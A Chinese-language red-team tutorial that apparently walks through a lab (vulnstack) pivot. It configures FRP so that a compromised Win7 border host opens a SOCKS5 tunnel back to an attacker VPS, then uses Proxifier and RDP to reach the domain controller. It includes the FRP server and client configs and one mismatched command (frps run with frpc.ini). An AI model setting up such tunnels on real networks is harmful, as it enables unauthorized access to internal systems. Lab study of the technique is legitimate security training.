代理及转发之FRP

介绍及环境

frp是一个高性能的反向代理应用，可以使目标对外开放端口，支持

tcp

http

https

等协议类型，并且web服务支持根据域名进行路由转发，从而在红队行动时实现内网穿透

frp作为反向代理工具胜在稳定，但是其依赖配置文件，溯源容易

本篇文章在《ATT&CK 实战 - 红日安全 vulnstack (一)》文章使用到的环境基础上实现

网络配置示意图如下所示：

已知 win7 作为边界机，已突破拿到 shell

域控主机已开启允许远程访问

这里已经提前上线cs，其实cs可以直接一键开启socks隧道但是不在本文范围之内

通过cs查看目标主机win7的ip有两个内网网段

FRP 代理进入内网

首先需要明确代理流程

需要是攻击机笔记本的程序能够使用代理进行访问该域环境内网

首先从GitHub下载对应版本的FRP代理程序

打开可以看到FRP针对每种操作系统都有对应版本的程序：

以windows64版本为例，包含文件有如下：

systemd

frpc.exe

frpc.ini

frpc_full.ini

frps.exe

frps.ini

frps_full.ini

LICENSE

可以看出同一操作系统，官方默认提供server端和cilent端

在攻击机，也就是拥有公网ip的vps先配置frps.ini

默认配置文件是这样的：

Copy
[common]
server_addr = 127.0.0.1
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

此处暂时先以最基础的配置介绍：

Copy
[common]
bind_port = 7000
token = 145678

其实最基础的只需前两行，但是建议习惯加上token哈，然后开启服务器：

Copy
frps -c frpc.ini

此时目标机需要配置连接我们的vps之外，还需配置socks5隧道才能让我们进入目标环境的内网，最简单的配置应该如下：

Copy
[common]
server_addr = x.x.x.x
server_port = 7000
token = 145678

[socks1]
type = tcp
remote_port = 6666
plugin = socks5
plugin_user = admin
plugin_passwd = passwd

启动客户端frp：

此时vps收到连接：

这时候我们笔记本攻击机就可以挂着socks5:VPS-IP:6666来访问边界区可以访问的目标了

结束 frp 时可以使用 ps -aux|grep frp 命令列出 frp 进程信息，然后再用 kill 命令结束掉 frp 进程

本地访问可以用Proxifier，将需要使用的工具设置为走该代理

proxifier 进行代理

添加我们的服务器如下：

将远程桌面工具mstsc.exe添加规则：

此时在我们本地使用远程工具mstsc直接连接内网的域控主机192.168.52.138：

已经可以成功访问到目标主机内网的域控远程桌面

在连接的时候可以看到proxifier打印出了日志，显示通过代理开始连接

要使用其他工具对内网进行扫描也是一样的，只需要在proxifier中将使用到的程序配置规则即可

frp 优化

敬请期待更新

参考文章：

FRP 内网穿透实践

内网渗透 | 常用的内网穿透工具使用

浅析内网渗透代理

某大学渗透测试实战靶场报告 - Part1

实战中内网穿透的打法